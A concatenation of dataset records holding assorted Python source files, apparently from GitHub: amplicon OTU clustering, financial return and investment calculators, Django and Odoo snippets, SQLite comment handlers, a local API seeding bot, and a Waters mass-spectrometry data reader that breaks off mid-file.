list(read_fasta(amplicon_file, minseqlen)):\n if not sequence in occu_dict:\n occu_dict[sequence] = 0\n occu_dict[sequence] += 1\n for sequence in occu_dict:\n if occu_dict[sequence] < mincount:\n del_list.append(sequence)\n for sequence in del_list:\n print(\"avant: \",len(occu_dict))\n del occu_dict[sequence]\n print(\"après: \",len(occu_dict))\n for sequence in sorted(occu_dict, key=occu_dict.get, reverse=True):\n yield(sequence, occu_dict[sequence])\n\n\ndef get_chunks(sequence, chunk_size):\n \"\"\" Prend une séquence et un longueur de segment l:\n chunk_size et retourne une liste de sous-séquences de\n taille l non chevauchantes. A minima 4 segments doivent\n être obtenus par séquence.\n \"\"\"\n chunk_list = []\n start = 0\n end = chunk_size\n while end < len(sequence):\n chunk_list.append(sequence[start:end])\n start += chunk_size\n end += chunk_size\n if len(chunk_list) < 4 :\n raise ValueError(\"Less than 4 chunks\")\n return chunk_list\n\n\ndef cut_kmer(sequence, kmer_size):\n \"\"\" Coupe les sequences en kmers\n Retourne : tous les kmers trouves dans les sequences\n \"\"\"\n for i in range(len(sequence) - kmer_size + 1):\n yield sequence[i:i + kmer_size]\n\n\ndef get_unique_kmer(kmer_dict, sequence, id_seq, kmer_size):\n \"\"\" prend un dictionnaire ayant pour clé un index de kmer et\n pour valeur une liste d’identifiant des séquences dont ils proviennent\n \"\"\"\n for kmer in list(cut_kmer(sequence, kmer_size)):\n if kmer in kmer_dict:\n kmer_dict[kmer].append(id_seq)\n else:\n kmer_dict[kmer] = [id_seq]\n return kmer_dict\n\n\ndef search_mates(kmer_dict, sequence, kmer_size):\n \"\"\"\n Prend un dictionnaire ayant pour clé un index de kmer et pour valeur\n une liste d’identifiant des séquences dont ils proviennent, une séquence\n et une longueur de kmer: kmer_size.\n\n \"\"\"\n return [i[0] for i in Counter([ids for kmer in cut_kmer(sequence, kmer_size) \\\n if kmer in kmer_dict for ids in kmer_dict[kmer]]).most_common(8)]\n\n\ndef get_identity(alignment_list):\n \"\"\"prend un alignement (sous forme de liste) et calcule le pourcentage\n d’identité entre les deux séquences selon la formule.\n \"\"\"\n indentic_nucl = 0\n for nucl in zip(alignment_list[0], alignment_list[1]):\n if nucl[0] == nucl[1]:\n indentic_nucl += 1\n alignemnt_length = len(alignment_list[0])\n return indentic_nucl/alignemnt_length * 100\n\n\ndef detect_chimera(perc_identity_matrix):\n \"\"\"\n Si l’écart type moyen des pourcentages est supérieur à 5 et\n que 2 segments minimum de notre séquence montrent une similarité\n différente à un des deux parents, nous identifierons cette\n séquence comme chimérique.\n \"\"\"\n std_list = []\n flag_file = 0\n flag_similarity = 0\n for line in perc_identity_matrix:\n std_list.append(statistics.stdev([line[0], line[1]]))\n if flag_file == 0:\n val0 = line[0]\n val1 = line[0]\n flag_file = 1\n else:\n if flag_similarity == 1:\n continue\n if val0 != line[0] and val1 != line[1]:\n flag_similarity = 1\n val0 = line[0]\n val1 = line[0]\n std_mean = statistics.mean(std_list)\n if std_mean > 5 and flag_similarity == 1:\n return True\n return False\n\n\ndef common(lst1, lst2):\n \"\"\" Retourne les elements communs entre deux listes.\n \"\"\"\n return list(set(lst1) & set(lst2))\n\n\ndef chimera_removal(amplicon_file, minseqlen, mincount, chunk_size, kmer_size):\n \"\"\"Fait appel au générateur fourni par dereplication_fulllength et\n retourne un générateur des séquences non chimérique au format:\n yield [sequence, count]\n \"\"\"\n kmer_dict = {}\n perc_identity_matrix = []\n chunk_match = []\n seq_list = []\n chim_id = 0\n for i, occurence_list in enumerate(list(dereplication_fulllength(amplicon_file, minseqlen,\n mincount))):\n chim = True\n chunk_list = get_chunks(occurence_list[0], chunk_size)\n for chunk in chunk_list:\n chunk_match.append(search_mates(kmer_dict, chunk, kmer_size))\n com_seq = common(chunk_match[0], chunk_match[1])\n for j in range(2, len(chunk_match)):\n com_seq = common(com_seq, chunk_match[j])\n if len(com_seq) > 1:\n for k in range(len(chunk_list)):\n perc_identity_matrix.append([][k])\n for seq in com_seq[0:2]:\n seq_chunk_list = get_chunks(seq_list[seq], chunk_size)\n for l, chunk in enumerate(chunk_list):\n perc_identity_matrix[l].append(get_identity(\n nw.global_align(chunk, seq_chunk_list[l],\n gap_open = -1, gap_extend = 1, matrix = \"MATCH\")))\n chim = detect_chimera(perc_identity_matrix)\n else:\n chim = False\n if not chim:\n kmer_dict = get_unique_kmer(kmer_dict, occurence_list[0], chim_id, kmer_size)\n seq_list.append(occurence_list[0])\n chim_id += 1\n yield occurence_list\n\n\ndef abundance_greedy_clustering(amplicon_file, minseqlen, mincount, chunk_size, kmer_size):\n \"\"\" Fait appel à chimera removal et retourne un liste d’OTU,\n cette liste indiquera pour chaque séquence son occurrence (count).\n \"\"\"\n OTU_list = []\n occurence_list = list(chimera_removal(amplicon_file, minseqlen,\n mincount, chunk_size, kmer_size))\n for seq, occurrence in occurence_list:\n OTU_list.append((seq, occurrence))\n return OTU_list\n\n\ndef fill(text, width=80):\n \"\"\"Split text with a line return to respect fasta format\"\"\"\n return os.linesep.join(text[i:i+width] for i in range(0, len(text), width))\n\n\ndef write_OTU(OTU_list, output_file):\n \"\"\" Ecrit un fichier de sortie contenant les OTU\n \"\"\"\n with open(output_file, \"w\") as filout:\n for i, otu in enumerate(OTU_list):\n filout.write(\">OTU_\" + str(i + 1) + \" occurrence:\" + str(otu[1]) + \"\\n\")\n filout.write(fill(str(otu[0]))+\"\\n\")\n\n\n#==============================================================\n# Main program\n#==============================================================\ndef main():\n \"\"\"\n Main program function\n \"\"\"\n # Get arguments\n args = get_arguments()\n\n OTU_list = abundance_greedy_clustering(args.amplicon_file, args.minseqlen, args.mincount,\n args.chunk_size, args.kmer_size)\n write_OTU(OTU_list, args.output_file)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"liatia/tp_agc","sub_path":"agc/agc.py","file_name":"agc.py","file_ext":"py","file_size_in_byte":11156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"71841808893","text":"import pandas as pd, numpy as np\n\nfilename = 'Cape Expected Return.xlsx'\ndef addOne(df, column):\n df[column] = df[column] + 1\ndef makeReal(df):\n df.Return = df.Return - inflation.Inflation\n\n# Inflation\ninflation = pd.read_excel(filename, sheet_name = 'Inflation')\ninflation['Inflation2'] = inflation.Inflation\naddOne(inflation, 'Inflation2')\n\n# Stock\nstock = pd.read_excel(filename, sheet_name = 'Stock')\naddOne(stock, 'Return')\nmakeReal(stock)\nstock['percentage'] = (1.1922/stock.Cape - 0.0139) * 0.7\n# stock['percentage'] = (0.5/stock.Cape + 0.01) * 1\n\n# Bond\nbond = pd.read_excel(filename, sheet_name = 'Bond')\naddOne(bond, 'Return')\nmakeReal(bond)\nbond['percentage'] = (np.log(bond.Yield) * 0.0386 + 0.1354) * 0.8","repo_name":"markaleung/investment","sub_path":"cape_expected_returns.py","file_name":"cape_expected_returns.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"22647886698","text":"from django.conf import settings\nfrom django.conf.urls import include, url\nfrom rest_framework import permissions\n\nfrom Api.v1.routers import router as router_v1\n\nfrom drf_yasg2.views import get_schema_view\nfrom drf_yasg2 import openapi\n\napi_url = '%s://api%s' % (settings.SITE_SCHEME, settings.PARENT_HOST)\n\nif settings.HOST_PORT:\n api_url = '%s://api%s:%s' % (settings.SITE_SCHEME, settings.PARENT_HOST, settings.HOST_PORT)\n\nschema_view_v1 = get_schema_view(\n openapi.Info(\n title=\"Documentation API\",\n default_version='v1',\n description='API for v1',\n ),\n url=api_url,\n patterns=[url(r'^v1/', include((router_v1.urls, 'Api'), namespace='api-v1'))],\n public=True,\n permission_classes=(permissions.AllowAny,),\n)\n","repo_name":"GoGei/joker","sub_path":"Api/documentation/schemas.py","file_name":"schemas.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"69936796091","text":"def take_inputs():\n \"\"\"\n Ask user inputs and ensure they are correct\n :return: 3 values\n \"\"\"\n\n msg = [\n '\\nPlease enter initial investment value: £',\n '\\nPlease enter target value: £',\n '\\nPlease enter annual interest rate (0-100 [%]): ',\n ]\n # ask for investment and target value\n initial_investment = check_inputs(msg[0])\n target_investment_value = check_inputs(msg[1])\n\n # ask user for interest rate\n annual_int_rate = check_inputs(msg[2])\n while 0 <= annual_int_rate > 100:\n print('\\nNot in range. Please try again. \\nUse a value between 0 and 100.')\n annual_int_rate = check_inputs(msg[2])\n\n # convert annual interest rate to decimal\n if annual_int_rate == 0:\n annual_int_rate = annual_int_rate\n else:\n annual_int_rate = annual_int_rate / 100\n\n return initial_investment, target_investment_value, annual_int_rate\n\n\ndef check_inputs(msg):\n # while input isn't correct loop\n while True:\n # ask for initial input\n inp = input(msg)\n # try to convert input to integer\n try:\n inp = float(inp)\n # check if negative, if so, try again\n if inp < 0:\n print('Value cannot be negative. Please try again.')\n continue\n # once confirmed it is int and >100 return input\n else:\n return inp\n # if input is not a number try again\n except ValueError:\n print('This is not a number. Please try again.')\n continue\n\n\ndef calc_years(initial_investment, target_investment_value, annual_int_rate):\n # starting with 0 years and investment value equal to investment\n years = 0\n investment_value = initial_investment\n\n # loop year by year until value is more than needed\n while target_investment_value > investment_value:\n # add annual interest\n investment_value = investment_value * (1 + annual_int_rate)\n # add a year\n years += 1\n\n return years\n\n\ndef main():\n # ask user input & calculate years\n a, b, c = take_inputs()\n years = calc_years(a, b, c)\n return 'It will take ' + str(years) + ' years ' + 'to grow your investment of £' + str(a) + ' to £' + str(b)\n\n\nprint(main())\n","repo_name":"Zzanetiite/Small_University_Exercises","sub_path":"01Investment.py","file_name":"01Investment.py","file_ext":"py","file_size_in_byte":2280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"3437275909","text":"import requests\nimport random\n\nimport parse\n\nCONFIG_PATH = 'autobotconfig.yaml'\nAPI_ENDPOINT = 'http://127.0.0.1:8000/api/{action}'\n\n\nclass AutoBot:\n\n def __init__(self, config_path=CONFIG_PATH, api_endpoint=API_ENDPOINT):\n config_data = self.__parse_config(config_path)\n self.number_of_users = config_data['number_of_users']\n self.max_posts_per_user = config_data['max_posts_per_user']\n self.max_likes_per_user = config_data['max_likes_per_user']\n\n self.api_endpoint = api_endpoint\n\n self.signup_url = self.api_endpoint.format(action='user/register/')\n self.auth_url = self.api_endpoint.format(action='user/token/')\n self.verify_url = self.api_endpoint.format(action='user/token-verify/')\n self.create_post_url = self.api_endpoint.format(action='post/create/')\n self.random_mark_post_url = self.api_endpoint.format(action='post/random/{mark}/')\n\n def run(self):\n\n for i in range(self.number_of_users):\n data = {\n 'username': f'AutoBot{i}',\n 'password': 'autobotpasswordcommon',\n 'email': '',\n }\n r = requests.post(self.signup_url, data=data)\n r = requests.post(self.auth_url, data=data)\n access_token = r.json()['token']\n headers = {'Authorization': 'JWT {}'.format(access_token)}\n for j in range(random.randint(0, self.max_posts_per_user)):\n r = requests.post(\n self.create_post_url,\n data={\"content\": f'Content{j} via AutoBot{i}', \"title\": \"Wow Test Post\"},\n headers=headers\n )\n for j in range(self.max_likes_per_user):\n r = requests.put(\n self.random_mark_post_url.format(mark='like'),\n headers=headers\n )\n\n #\n # End Public Methods\n #\n\n @staticmethod\n def __parse_config(config_path):\n return parse.parse_yaml('', config_path)\n\n\nif __name__ == '__main__':\n bot = AutoBot()\n bot.run()\n","repo_name":"tamkovich/REST-API-USERS-POST","sub_path":"autobot.py","file_name":"autobot.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"20942701144","text":"from typing import List\nfrom collections import deque\n\n\nclass Solution:\n def findOrder(self, numCourses: int, prerequisites: List[List[int]]) -> List[int]:\n edges = [[] for _ in range(numCourses)]\n indeg = [0 for _ in range(numCourses)]\n\n for info in prerequisites:\n edges[info[1]].append(info[0])\n indeg[info[1]] += 1\n\n res = []\n q = []\n\n for i in range(numCourses):\n if indeg[i] == 0:\n q.append(i)\n \n while q:\n u = q.pop(0)\n res.append(u)\n for v in edges[u]:\n indeg[v]-=1\n if indeg[v] == 0:\n q.append(v)\n return res if len(res) == numCourses else [] ","repo_name":"mrxhar/leetcode","sub_path":"leetcode_py/p210.py","file_name":"p210.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"29997214250","text":"# encoding: utf-8\r\n##############################################################################\r\n#\r\n# This program is free software: you can redistribute it and/or modify\r\n# it under the terms of the GNU Affero General Public License as published\r\n# by the Free Software Foundation, either version 3 of the License, or\r\n# (at your option) any later version.\r\n#\r\n# This program is distributed in the hope that it will be useful,\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n# GNU Affero General Public License for more details.\r\n#\r\n# You should have received a copy of the GNU Affero General Public License\r\n# along with this program. If not, see .\r\n#\r\n##############################################################################\r\n\r\nfrom openerp import models, api, fields\r\n\r\n\r\nclass AccountJournal(models.Model):\r\n _inherit = 'account.journal'\r\n\r\n invoice_report_id = fields.Many2one(\r\n 'ir.actions.report.xml',\r\n string='Invoice Report Template',\r\n domain=\"[('model', '=', 'account.invoice')]\",\r\n )\r\n\r\n\r\nclass AccountInvoice(models.Model):\r\n _inherit = 'account.invoice'\r\n\r\n @api.multi\r\n def invoice_print(self):\r\n self.ensure_one()\r\n self.sent = True\r\n invoice = self[0]\r\n action_name = invoice.journal_id.invoice_report_id \\\r\n and invoice.journal_id.invoice_report_id.report_name \\\r\n or 'account.report_invoice'\r\n return self.env['report'].get_action(self, action_name)\r\n\r\n\r\n","repo_name":"alexanderradahl/odoo-addons","sub_path":"account_invoice_report_by_journal/models/account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"}
+{"seq_id":"42616466929","text":"import sqlite3\nimport json\nfrom models import Comment\n\ndef get_all_comments():\n with sqlite3.connect(\"./rare.db\") as conn:\n\n conn.row_factory = sqlite3.Row\n db_cursor = conn.cursor()\n\n db_cursor.execute(\"\"\"\n SELECT\n c.id,\n c.post_id,\n c.author_id,\n c.content,\n c.created_on\n FROM Comments c\n \"\"\")\n\n comments = []\n\n dataset = db_cursor.fetchall()\n\n for row in dataset:\n comment = Comment(row['id'], row['post_id'], row['author_id'], row['content'],row['created_on'])\n comments.append(comment.__dict__)\n\n return json.dumps(comments)\n\n\n\n# Function with a single parameter\ndef get_single_comment(id):\n with sqlite3.connect(\"./rare.db\") as conn:\n conn.row_factory = sqlite3.Row\n db_cursor = conn.cursor()\n\n # Use a ? parameter to inject a variable's value\n # into the SQL statement.\n db_cursor.execute(\"\"\"\n SELECT\n c.id,\n c.post_id,\n c.author_id,\n c.content,\n c.created_on\n FROM Comments c\n WHERE c.id = ?\n \"\"\", ( id, ))\n\n data = db_cursor.fetchone()\n \n comment = Comment(data['id'], data['post_id'], data['author_id'], data['content'],data['created_on'])\n\n return json.dumps(comment.__dict__)\n\n\n\ndef create_comment(new_comment):\n with sqlite3.connect(\"./rare.db\") as conn:\n db_cursor = conn.cursor()\n\n db_cursor.execute(\"\"\"\n INSERT INTO Comments\n ( content, created_on, post_id, author_id )\n VALUES\n ( ?, ?, ?, ? ); \n \"\"\", (new_comment['content'], new_comment['created_on'], new_comment['post_id'], new_comment['author_id'] ))\n\n id = db_cursor.lastrowid\n\n # Add the `id` property to the animal dictionary that\n # was sent by the client so that the client sees the\n # primary key in the response.\n new_comment['id'] = id\n\n\n return json.dumps(new_comment)\n\n\ndef update_comment(id, new_comment):\n with sqlite3.connect(\"./rare.db\") as conn:\n db_cursor = conn.cursor()\n\n db_cursor.execute(\"\"\"\n UPDATE Comments\n SET\n content = ?\n WHERE id = ?\n \"\"\", (new_comment['content'], id, ))\n\n\n rows_affected = db_cursor.rowcount\n\n if rows_affected == 0:\n # Forces 404 response by main module\n return False\n else:\n # Forces 204 response by main module\n return True\n\n\ndef delete_comment(id):\n with sqlite3.connect(\"./rare.db\") as conn:\n db_cursor = conn.cursor()\n\n db_cursor.execute(\"\"\"\n DELETE FROM Comments\n WHERE id = ?\n \"\"\", (id, ))","repo_name":"nss-day-cohort-50/rare-server-anacondas","sub_path":"comments/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":2750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"37605489264","text":"import os, pickle, re, time\nimport datetime as dt\nimport docker as dock\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom scipy import optimize\nimport scipy.stats as st\nimport scipy.signal as ssig\nimport xml.etree.cElementTree as ET\n\nfrom msmate.helpers import _children, _get_obo, _node_attr_recurse, _collect_spectra_chrom\n\nclass SirFunction:\n '''Reads/defines single ion reaction defined in a function (targeted assay)\n Subclass of Mrm\n Input:\n d: part of a dictionary of exp parameters exptracted from .exp waters parameterisation file\n '''\n def __init__(self, d):\n self.massPrecursor = d['SIRMass']\n self.massProduct = d['SIRMass_2_']\n\n if (self.massPrecursor != d[\"Mass(amu)_\"]) | (self.massProduct != d[\"Mass2(amu)_\"]):\n raise Warning('diverging SIR and amu masses')\n self.autoDwell = d['SIRAutoDwell']\n self.autoDwellTime = d['SIRAutoDwell']\n self.delay = d['SIRDelay']\n self.useAsLockMass = d['UseAsLockMass']\n self.dwell_s = d['Dwell(s)_']\n self.conevoltageV = d['ConeVoltage(V)_']\n self.collisionEnergy = d['CollisionEnergy(V)_']\n self.interchanneldelay = d['InterChannelDelay(s)_']\n self.compoundName = d['CompoundName_']\n self.compoundFormula = d['CompoundFormula_']\n\n def __repr__(self):\n stf = f\"{self.compoundName}: {self.massPrecursor} m/z ---> {self.massProduct} m/z\\n\"\n return stf\n\nclass Mrm:\n '''Reads/defines functions from .exp waters parameterisation file (targeted assay)\n Subclass of ReadExpPars\n Input:\n d: dictionary of exp parameters exptracted from .exp waters parameterisation file\n '''\n # defines SIRs and parameters of multiple reaction monitoring for targeted assay\n def __init__(self, d):\n self.ftype = d['FunctionType']\n self.polarity = d['FunctionPolarity']\n self.stStart_min = d['FunctionStartTime(min)']\n self.stEnd_min = d['FunctionEndTime(min)']\n\n self.reactions = {k: SirFunction(s) for k, s in d['sim'].items()}\n self.name = '/'.join(list(set([dd.compoundName for k, dd in self.reactions.items()])))\n\n self.other = d\n\n def __repr__(self):\n ssr = \"\\n\\t\".join([f\"{r.massPrecursor} m/z ---> {r.massProduct} m/z\" for k, r in self.reactions.items()])\n return f\"{self.name}\\n\\t\" + ssr + '\\n'\n\nclass ReadExpPars:\n '''reads Waters .exp file, containing function information, eg. compound name\n Input:\n epath: path to .exp file\n '''\n # reads Waters .exp file, containing function information, eg. compound name\n # function data for targeted assay, comprising of individuals MRM functions\n def __init__(self, epath):\n import re\n pars = {}\n with open(epath, 'rb') as f:\n for t in f.readlines():\n td = t.strip().decode('latin1')\n if bool(td.isupper()):\n feat = td\n pars[feat] = {}\n pars[feat]['sim'] = {}\n continue\n if ',' in td:\n add = td.split(',')\n if bool(re.findall('[0-9]$', add[0])) and 'FUN' in feat:\n key, featid, _ = re.split('([0-9])$', add[0])\n if featid not in pars[feat]['sim']:\n pars[feat]['sim'][featid] = {}\n pars[feat]['sim'][featid][key] = add[1]\n else:\n pars[feat][add[0]] = add[1]\n\n self.generalInfo = pars['GENERAL INFORMATION']\n self.funcs = {k: Mrm(x) for k, x in pars.items() if 'FUN' in k}\n\n def __repr__(self):\n return f\"{len(self.funcs)} functions\"\n\nclass ReadWatersRaw:\n '''Import a single Waters MRM experiment file from binary format, vendor format (.raw) or xml-based file format (.MZml).\n Import order is based on which folders/files are available. Priority: 1. mm8 binary file within .raw experiment folder\n 2. mzml file in same parent folder as .raw 3. vendor file (.raw). Vendor files are converted using official\n msconvert docker image.\n Imported are also _INLET and _Header files (found in in .raw directory) as these contain experimental information\n that is typically not found in mzml files. Therefore, it is important to keep both, .mzml and .raw files in the same parent folder.\n Input:\n dpath: path to .raw experiment file\n docker: dict with key 'repo' describing docker image:tag\n convert: bool, if true ignores any mzml and mm8 binary and starts converting .raw to mzml to binary\n '''\n def __init__(self, dpath: str, docker: dict = {'repo': 'chambm/pwiz-skyline-i-agree-to-the-vendor-licenses:latest'}, convert:bool = False):\n self.mslevel = 'MRM Waters'\n self.convert = convert\n self.docker = {'repo': docker['repo']}\n\n if bool(re.findall(\"mzML$\", dpath)):\n self.mzmlfn = os.path.abspath(dpath)\n self.dpath = os.path.abspath(re.sub('mzML$', 'raw', dpath))\n elif bool(re.findall(\"raw$\", dpath)):\n self.dpath = os.path.abspath(dpath)\n self.mzmlfn = os.path.abspath(re.sub('raw$', 'mzML', dpath))\n self.msmfile = os.path.join(re.sub('mzML$', 'raw', self.dpath), f'mm8v3_edata.p')\n self.fname = os.path.basename(self.dpath)\n\n self.edf = {} # experiment pd.dataframe\n try:\n f1 = os.path.join(self.dpath, '_INLET.INF')\n iadd = self._pInlet(f1)\n self.edf.update(iadd)\n except:\n print('_INLET file not found')\n try:\n f1 = os.path.join(self.dpath, '_HEADER.TXT')\n hadd = self._pInlet(f1)\n self.edf.update(hadd)\n except:\n print('_HEADER file not found')\n\n self.aDt = dt.datetime.strptime(self.edf['Acquired Date']+self.edf['Acquired Time'], ' %d-%b-%Y %H:%M:%S')\n self._importData()\n\n def _importData(self):\n if not self.convert:\n if os.path.exists(self.msmfile):\n self._readmsm8()\n elif os.path.exists(self.mzmlfn):\n self._read_mzml()\n self._createSpectMat()\n self._savemsm8()\n else:\n self._convoDocker()\n self._read_mzml()\n self._createSpectMat()\n self._savemsm8()\n else:\n self._convoDocker()\n self._read_mzml()\n self._createSpectMat()\n self._savemsm8()\n\n def _readmsm8(self):\n try:\n expmm8 = pickle.load(open(self.msmfile, 'rb'))\n self.edf = expmm8['edf']\n self.dfd = expmm8['dfd']\n self.xrawd = expmm8['xrawd']\n except:\n raise ValueError('Can not open mm8 binary')\n\n def _savemsm8(self):\n try:\n with open(self.msmfile, 'wb') as fh:\n pickle.dump({'dfd': self.dfd, 'xrawd': self.xrawd, 'edf': self.edf}, fh)\n except:\n print('Cant save mm8 experiment file - check disk write permission')\n\n def _convoDocker(self):\n \"\"\"Convert Bruker 2D MS experiment data to msmate file/obj using a custom build Docker image\"\"\"\n t0 = time.time()\n client = dock.from_env()\n client.info()\n client.containers.list()\n # img = [x for x in client.images.list() if self.docker[\"repo\"] in x.tags]\n img = [x for x in client.images.list() if self.docker[\"repo\"] in x.tags]\n if len(img) < 1:\n raise ValueError('Image not found')\n ec = f'docker run -i --rm -e WINEDEBUG=-all -v \"{os.path.dirname(self.dpath)}\":/data {self.docker[\"repo\"]} wine msconvert \"/data/{self.fname}\"'\n self.ex = ec\n self.rrr = os.system(ec)\n t1 = time.time()\n print(f'Conversion time: {round(t1 - t0)} sec')\n self.mzmlfn = re.sub('raw$', 'mzML', self.dpath)\n self.fpath = re.sub('raw$', 'mzML', self.dpath)\n\n def _read_mzml(self):\n \"\"\"Extracts MS data from mzml file\"\"\"\n # this is for mzml version 1.1.0\n # schema specification: https://raw.githubusercontent.com/HUPO-PSI/mzML/master/schema/schema_1.1/mzML1.1.0.xsd\n # read in data, files index 0 (see below)\n tree = ET.parse(self.mzmlfn )\n root = tree.getroot()\n child = _children(root)\n imzml = child.index('mzML')\n mzml_children = _children(root[imzml])\n obos = root[imzml][mzml_children.index('cvList')] # controlled vocab (CV\n self.obo_ids = _get_obo(obos, obo_ids={})\n seq = np.where(~np.isin(mzml_children, ['cvList', 'run']))[0]\n pp = {}\n for j in seq:\n filed = _node_attr_recurse(s=root[imzml][j], d=4, c=0, ii=[])\n dn = {}\n for i in range(len(filed)):\n dn.update(\n dict(zip([filed[i]['path'] + '_' + re.sub('\\{.*\\}', '', x) for x in list(filed[i].keys())[1:]],\n list(filed[i].values())[1:])))\n pp.update({mzml_children[j]: dn})\n run = root[imzml][mzml_children.index('run')]\n self.out31 = _collect_spectra_chrom(s=run, ii={}, d=20, c=0, flag=self.mslevel, tag='', obos=self.obo_ids)\n\n def prep_df(self, df):\n if 'MS:1000127' in df.columns:\n add = np.repeat('centroided', df.shape[0])\n add[~(df['MS:1000127'] == True)] = 'profile'\n df['MS:1000127'] = add\n if 'MS:1000128' in df.columns:\n add = np.repeat('profile', df.shape[0])\n add[~(df['MS:1000128'] == True)] = 'centroided'\n df['MS:1000128'] = add\n\n df = df.rename(\n columns={'UO:0000010': 'time_unit', 'UO:0000031': 'time_unit', 'defaultArrayLength': 'n',\n 'MS:1000129': 'polNeg', 'MS:1000130': 'polPos',\n 'MS:1000127': 'specRepresentation', 'MS:1000128': 'specRepresentation',\n 'MS:1000505': 'MaxIntensity', 'MS:1000285': 'SumIntensity',\n 'MS:1000016': 'Rt'\n })\n df.columns = [self.obo_ids[x]['name'].replace(' ', '_') if x in self.obo_ids.keys() else x for x in\n df.columns.values]\n df['fname'] = self.dpath\n return df\n\n @staticmethod\n def _pInlet(ipath):\n # extract inlet and header information\n pars = {}\n prefix = ''\n with open(ipath, 'rb') as f:\n for t in f.readlines():\n td = t.strip().decode('latin1')\n if bool(re.findall('^-- ', td)):\n if not 'END' in td:\n prefix = td.replace('-', '').lstrip().rstrip() + '_'\n else:\n prefix = ''\n\n if ':' in td:\n add = td.replace('$$ ', '').split(':', 1)\n pars[prefix + add[0]] = add[1]\n\n return pars\n\n def _createSpectMat(self):\n # tyr targeted data has two dimensions: 1. rt, 2. intensity\n \"\"\"Organise raw MS data and scan metadata\"\"\"\n\n def srmSic(id):\n ss = re.split('=| ', id)\n return {'q1': ss[-7], 'q3': ss[-5], 'fid': ss[-3], 'offset': ss[-1]}\n\n\n sc_msl1 = [(i, len(x['data']['Int']['d'])) for i, x in self.out31.items() if\n len(x['data']) == 2] # sid of ms level 1 scans\n\n self.df = pd.DataFrame([x['meta'] for i, x in self.out31.items() if len(x['data']) == 2])\n self.df['defaultArrayLength'] = self.df['defaultArrayLength'].astype(int)\n\n from collections import defaultdict, Counter\n xrawd = {}\n if 'MS:1000129' in self.df.columns:\n nd = self.df['defaultArrayLength'][self.df['MS:1000129'] == True].sum()\n xrawd['1N'] = np.zeros((4, nd))\n\n if 'MS:1000130' in self.df.columns:\n nd = self.df['defaultArrayLength'][self.df['MS:1000130'] == True].sum()\n xrawd['1P'] = np.zeros((4, nd))\n\n row_counter = Counter({'1P': 0, '1N': 0})\n sid_counter = Counter({'1P': 0, '1N': 0})\n dfd = defaultdict(list)\n for i, s in enumerate(sc_msl1):\n d = self.out31[s[0]]\n if s[1] != self.df['defaultArrayLength'].iloc[i]:\n raise ValueError('Check data extraction')\n cbn = [[d['meta']['index']] * s[1]]\n for k in d['data']:\n cbn.append(d['data'][k]['d'])\n if 'MS:1000129' in d['meta']:\n fstr = '1N'\n elif 'MS:1000130' in d['meta']:\n fstr = '1P'\n cbn.append([sid_counter[fstr]] * s[1])\n add = np.array(cbn)\n xrawd[fstr][:, row_counter[fstr]:(row_counter[fstr] + s[1])] = add\n dfd[fstr].append(d['meta'])\n sid_counter[fstr] += 1\n row_counter[fstr] += (s[1])\n\n for k, d, in dfd.items(): # for each polarity\n for j in range(len(d)): # for each sample\n\n out = srmSic(d[j]['id'])\n dfd[k][j].update(out)\n\n dfd[k] = self.prep_df(pd.DataFrame(dfd[k]))\n\n self.dfd = dfd\n self.xrawd = xrawd\n # self.ms0string = row_counter.most_common(1)[0][0]\n # self.ms1string = None\n\nclass TrpExp:\n '''Import TQX tryptophane pathway - assay data (.raw) with ReadWatersRaw\n '''\n assay = 'Quant of tryptophane pathway-related compounds'\n\n @classmethod\n def waters(cls, dpath: str, docker: dict = {'repo': 'chambm/pwiz-skyline-i-agree-to-the-vendor-licenses:latest'}, convert:bool = False, efun=None):\n da = ReadWatersRaw(dpath, docker, convert)\n return cls(dpath=da.dpath, xrawd=da.xrawd, dfd=da.dfd, edf =da.edf, efun=efun, dt=da.aDt)\n\n def __init__(self, dpath, xrawd, dfd, edf, efun, dt):\n self.mslevel = 'MRM Waters'\n self.dpath = os.path.abspath(dpath)\n self.fname = os.path.basename(dpath)\n self.xrawd = xrawd\n self.dfd = dfd\n self.edf =edf\n self.efun = efun\n self.aDt = dt\n self.fmap = {\n 'a1': {'std': {'FUNCTION 5': 'Picolinic acid-D3'}, 'analyte': {'FUNCTION 4': 'Picolinic/nicotinic acid/Nicolinic acid'}},\n 'a2': {'std': {'FUNCTION 6': 'Nicotinic acid-D4'}, 'analyte': {'FUNCTION 4': 'Picolinic/nicotinic acid/Nicolinic acid'}},\n 'a3': {'std': {'FUNCTION 10': '3-HAA-D3'}, 'analyte': {'FUNCTION 8': '3-HAA'}},\n 'a4': {'std': {'FUNCTION 11': 'Dopamine-D4'}, 'analyte': {'FUNCTION 9': 'Dopamine'}},\n 'a5': {'std': {'FUNCTION 20': 'Serotonin-d4'}, 'analyte': {'FUNCTION 12': 'Serotonin'}},\n 'a6': {'std': {'FUNCTION 14': 'Tryptamine-d4'}, 'analyte': {'FUNCTION 13': 'Tryptamine'}},\n 'a7': {'std': {'FUNCTION 17': 'Quinolinic acid-D3'}, 'analyte': {'FUNCTION 15': 'Quinolinic acid'}},\n 'a8': {'std': {'FUNCTION 19': 'I-3-AA-D4'}, 'analyte': {'FUNCTION 18': 'I-3-AA'}},\n 'a9': {'std': {'FUNCTION 27': 'Kynurenic acid-D5'}, 'analyte': {'FUNCTION 22': 'Kynurenic acid'}},\n 'a10': 